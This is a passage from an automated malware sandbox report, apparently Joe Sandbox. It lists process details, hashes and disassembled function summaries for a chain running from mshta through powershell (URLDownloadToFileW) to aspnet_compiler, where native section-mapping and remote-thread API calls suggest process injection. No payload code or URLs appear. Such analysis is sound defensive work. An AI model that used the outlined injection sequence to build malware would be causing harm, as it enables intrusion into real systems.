MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	12:22:51
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc70000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	12:22:52
Start date:	18/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	12:22:56
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xc70000
File size:	2'972'672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	12:22:57
Start date:	18/11/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 3544, Parent PID: 564COMMON

Executed Functions

Function 02B10FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.422625272.0000000002B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: b5d79dc445a2ea3836a881e7d65dee896a16e8a4fc648040a2542fed1d6a8b75
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Function 02B10FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.422625272.0000000002B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: b5d79dc445a2ea3836a881e7d65dee896a16e8a4fc648040a2542fed1d6a8b75
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Function 02B10FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.422625272.0000000002B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: b5d79dc445a2ea3836a881e7d65dee896a16e8a4fc648040a2542fed1d6a8b75
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Function 02B10FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000003.422625272.0000000002B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 02B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: b5d79dc445a2ea3836a881e7d65dee896a16e8a4fc648040a2542fed1d6a8b75
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3648, Parent PID: 3544COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE899D4B18 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899D5B00

Memory Dump Source

Source File: 00000006.00000002.456015998.000007FE899D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7fe899d0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: bcfb1e74fcf7742f089bf512aafac9124be0ed2888a45b259f191703e97c766a
Instruction ID: c82ea7dbb3ebd60acc30cd737cc27368bef6bb37f0b5b88c33ac0d542fbc1396
Opcode Fuzzy Hash: bcfb1e74fcf7742f089bf512aafac9124be0ed2888a45b259f191703e97c766a
Instruction Fuzzy Hash: 45319131918A5C8FDB59DF5CD8857B9B7E1FB69711F00822ED04ED3661CB70A8158B81

Function 000007FE899D59F1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899D5B00

Memory Dump Source

Source File: 00000006.00000002.456015998.000007FE899D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7fe899d0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 687041d381776ff91d67ea2cc655d11f462eef6b51ef3bdd1838ccf531e88737
Instruction ID: 12c0e95903fbaf63b5ccd2c230ba1c2dd23ed54b55ce1596b740c8660b335a9d
Opcode Fuzzy Hash: 687041d381776ff91d67ea2cc655d11f462eef6b51ef3bdd1838ccf531e88737
Instruction Fuzzy Hash: B241F57081DB989FDB5ADB589C847B9BBF4FB56321F04826FD08DD7162CB246806C782

Function 000007FE89AA26E9 Relevance: .7, Instructions: 711
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.456369272.000007FE89AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7fe89aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8260e1420f318c641d7984cbd7c422ddbb3dc0fb94a71d5362b4c13426fbb2c
Instruction ID: c7efe70f39e6684f7684e75548806400f788e2b1e72a5ec52e7c77f2fab8c2b0
Opcode Fuzzy Hash: d8260e1420f318c641d7984cbd7c422ddbb3dc0fb94a71d5362b4c13426fbb2c
Instruction Fuzzy Hash: 1422F53090CB894FE75ADB2C84546687FE2FF9A354F2441EAD48EC72A3DA24AC65C741

Function 000007FE89AA0F0D Relevance: .4, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.456369272.000007FE89AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7fe89aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50d6adeb58cfff0ade5c8111bba157a57cfb34e974b1e8f283145c061c648695
Instruction ID: 1e131bf71cac016db1fb57f5a81e296047e5a775e561ec87d04a2e6bfed5ef44
Opcode Fuzzy Hash: 50d6adeb58cfff0ade5c8111bba157a57cfb34e974b1e8f283145c061c648695
Instruction Fuzzy Hash: F5A1E220A0DBC90FE347973C58646647FE1EF47258B2941EBD48ECB1B3D9189C5AC362

Non-executed Functions

Function 000007FE89AA3122 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.456369272.000007FE89AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7fe89aa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d550dca1401d92a503d49512f35e8490a9c0bf93f754fb3f77cef97593a648
Instruction ID: 0b31f4367620205d1fb792eb76084a8582a53384f24efc9fc93274ccd4b9f071
Opcode Fuzzy Hash: 13d550dca1401d92a503d49512f35e8490a9c0bf93f754fb3f77cef97593a648
Instruction Fuzzy Hash: CB31AF1061DBC90FE757933858606A47FE1EF47260B1E01DBD099CB1B3C9189D5AC3A2

Analysis Process: mshta.exePID: 1264, Parent PID: 564COMMON

Executed Functions

Function 03260FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.477230430.0000000003260000.00000010.00000800.00020000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_3260000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: c8d40cfe0b62005e8c39ce72b230dcf46e269f9eea56edb68369dc5eba22f392
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 03260FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.477230430.0000000003260000.00000010.00000800.00020000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_3260000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: c8d40cfe0b62005e8c39ce72b230dcf46e269f9eea56edb68369dc5eba22f392
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 03260FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.477230430.0000000003260000.00000010.00000800.00020000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_3260000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: c8d40cfe0b62005e8c39ce72b230dcf46e269f9eea56edb68369dc5eba22f392
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 03260FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.477230430.0000000003260000.00000010.00000800.00020000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_3260000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: c8d40cfe0b62005e8c39ce72b230dcf46e269f9eea56edb68369dc5eba22f392
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Analysis Process: aspnet_compiler.exePID: 3948, Parent PID: 2104COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	52.9%
Total number of Nodes:	68
Total number of Limit Nodes:	2

Executed Functions

Function 004014D6 Relevance: 10.8, APIs: 7, Instructions: 253
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: afa16a46a3e1c62dd3975b49d68645ed763654774106451467306ab0cf294d30
Instruction ID: b0857a4fb145544e41851af17f16183f6357fb9efc2fe45eaf6198d87de3a54a
Opcode Fuzzy Hash: afa16a46a3e1c62dd3975b49d68645ed763654774106451467306ab0cf294d30
Instruction Fuzzy Hash: 8681E171600248BBDB218FA5DC88FEB7FB8FF86710F10416AF951BA1E5D6749901CB64

Function 004014BF Relevance: 10.7, APIs: 7, Instructions: 204
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6f051ce4ba6575236144a0128aa406b27f07ac02e786d19381c723ae0cf33ce2
Instruction ID: cb32da509904316ed93400f6898fa9d135e0c3db95e2781c81c9f365a62fd76c
Opcode Fuzzy Hash: 6f051ce4ba6575236144a0128aa406b27f07ac02e786d19381c723ae0cf33ce2
Instruction Fuzzy Hash: 8D617F71A00244FBEB219F91CC49FAF7BB8FF85B00F10412AF912BA1E4D6749A01DB65

Function 004014E8 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 3ec7b73e90794c52acaab491f05d9b891cb3c0e9704d69be5a814fe7f5293bbb
Instruction ID: a9c2a09af8f6974916e8dbce0e9e74a1ab8539b6b4ce2c8be6c8dc9eb24f9302
Opcode Fuzzy Hash: 3ec7b73e90794c52acaab491f05d9b891cb3c0e9704d69be5a814fe7f5293bbb
Instruction Fuzzy Hash: 675127B5900245BBEB209F91CC48FABBBB8EF85B00F104169FA11BA2E5D6759941CB24

Function 004014EB Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c5abebaecd196e20942843c263fe473df959be3af63705ed68d3559f17c82489
Instruction ID: 9bfdfe9cbb785be4fdfd0dd6995845ce59af7eac5c2f91023a42677e7735ba1d
Opcode Fuzzy Hash: c5abebaecd196e20942843c263fe473df959be3af63705ed68d3559f17c82489
Instruction Fuzzy Hash: 9D5127B5900248BBEB209F91CC48FAFBBB8EF85B00F104159FA11BA2E5D6719905CB64

Function 00402F5D Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403091
NtTerminateProcess.NTDLL ref: 004030AA

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 028c31f760cafe6bdfeacd3711728474bc178c938afdf01909161d150e4b5d3c
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: 84416831228D094FD768EF5CA845762B7D5F798351F6643AAE809D3389EA34DC1183C6

Function 004030BF Relevance: 3.1, APIs: 2, Instructions: 82
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403091
NtTerminateProcess.NTDLL ref: 004030AA

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: c30ac68ff69c2e5b18761fee067da9d71720b063899e47dfee2d3f0b6f1a7b91
Instruction ID: 715d93b18a869b872d6bab68aa9d9aa25fe40f65b3c459de5f1da0bbea4f6161
Opcode Fuzzy Hash: c30ac68ff69c2e5b18761fee067da9d71720b063899e47dfee2d3f0b6f1a7b91
Instruction Fuzzy Hash: 222105309087448FE3549F7C98423A6BFE0EB4A311F6805AFD596DA2D2D33E5A46C787

Function 004018C5 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Strings

zOji, xrefs: 004018C5

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID: zOji
API String ID: 4152845823-4118548424
Opcode ID: 40e582844cb886fdd248ac7c5f774f7486ed80249be4d22e0ce5f88863c1373c
Instruction ID: 5008de21d6646d6a4101a84352d49cb2eeb815b2728bacd1896cd8e4e39b07a0
Opcode Fuzzy Hash: 40e582844cb886fdd248ac7c5f774f7486ed80249be4d22e0ce5f88863c1373c
Instruction Fuzzy Hash: 46018BB2308205EBDB006E949C61EAE3658AB40724F308033F607780F1C67D8A13F31B

Function 004018A6 Relevance: 1.3, APIs: 1, Instructions: 61
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2e3e027024aa3d6704b47e5880310210fdf2d46df9c3430db9cfbdec36fb4464
Instruction ID: ec7c9f9116aa5c3d7af92c99ccf4db412f3ff1557a2b92ce3f8b18b7d449fb36
Opcode Fuzzy Hash: 2e3e027024aa3d6704b47e5880310210fdf2d46df9c3430db9cfbdec36fb4464
Instruction Fuzzy Hash: 97016DB2308305EBE7006A959C51EBA3758AB41764F308133B607780F1957D9A17B36F

Function 004018BE Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 63246ced83773f111c728f1a43d3fcfa9d239b90abfb008a8a8fe5df5a230609
Instruction ID: cc5cf84a4ac16d3ff6e0150408ab5a4d949569ac012fe2ee23f61dbe8ee8ec54
Opcode Fuzzy Hash: 63246ced83773f111c728f1a43d3fcfa9d239b90abfb008a8a8fe5df5a230609
Instruction Fuzzy Hash: 70014CB2308205EBDB106A959C51EBE3659AB55714F308133B607784F1967D9B13F32B

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 551bf9fc6a161abfac80695604f19aa1aef5469406db7a931b83d04652b6e09e
Instruction ID: ef1b3772686a797e33556ea01ceab6b668eb93d7b49977ee198856b5a882b22d
Opcode Fuzzy Hash: 551bf9fc6a161abfac80695604f19aa1aef5469406db7a931b83d04652b6e09e
Instruction Fuzzy Hash: 210125B2208245EADB006A959C61EBA3799AB41724F308137F607790F1967E8A13F31B

Function 004018C2 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: bb19dfe290bac6874ef398e2d88654dc8a7b23ebc8c26647aeabf95c1afcae67
Instruction ID: d3c1b2561fc0583f1f6bbc3edf5ccb050f557452f45edf8007d0f6b78c0567ac
Opcode Fuzzy Hash: bb19dfe290bac6874ef398e2d88654dc8a7b23ebc8c26647aeabf95c1afcae67
Instruction Fuzzy Hash: 14017CB2308205EBDB006A919C51EBE3759AB41724F308133F607780F1967D8A13F31B

Function 004018DA Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Memory Dump Source

Source File: 0000001E.00000002.522922595.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_aspnet_compiler.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fbcf8db84f0bcb0a2d0b0e49b2c778a116fa09cd0714ede85e20fc239748f007
Instruction ID: 8f9a98739febab8b32419077b991bda00f1387bd451c7178a571841fb0c6b49c
Opcode Fuzzy Hash: fbcf8db84f0bcb0a2d0b0e49b2c778a116fa09cd0714ede85e20fc239748f007
Instruction Fuzzy Hash: A8F044B6204205EBDB006E959C51FAE3768AB44725F344133F612790F1C67D8A52F71B

Non-executed Functions

Function 0040328D Relevance: 1.4, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

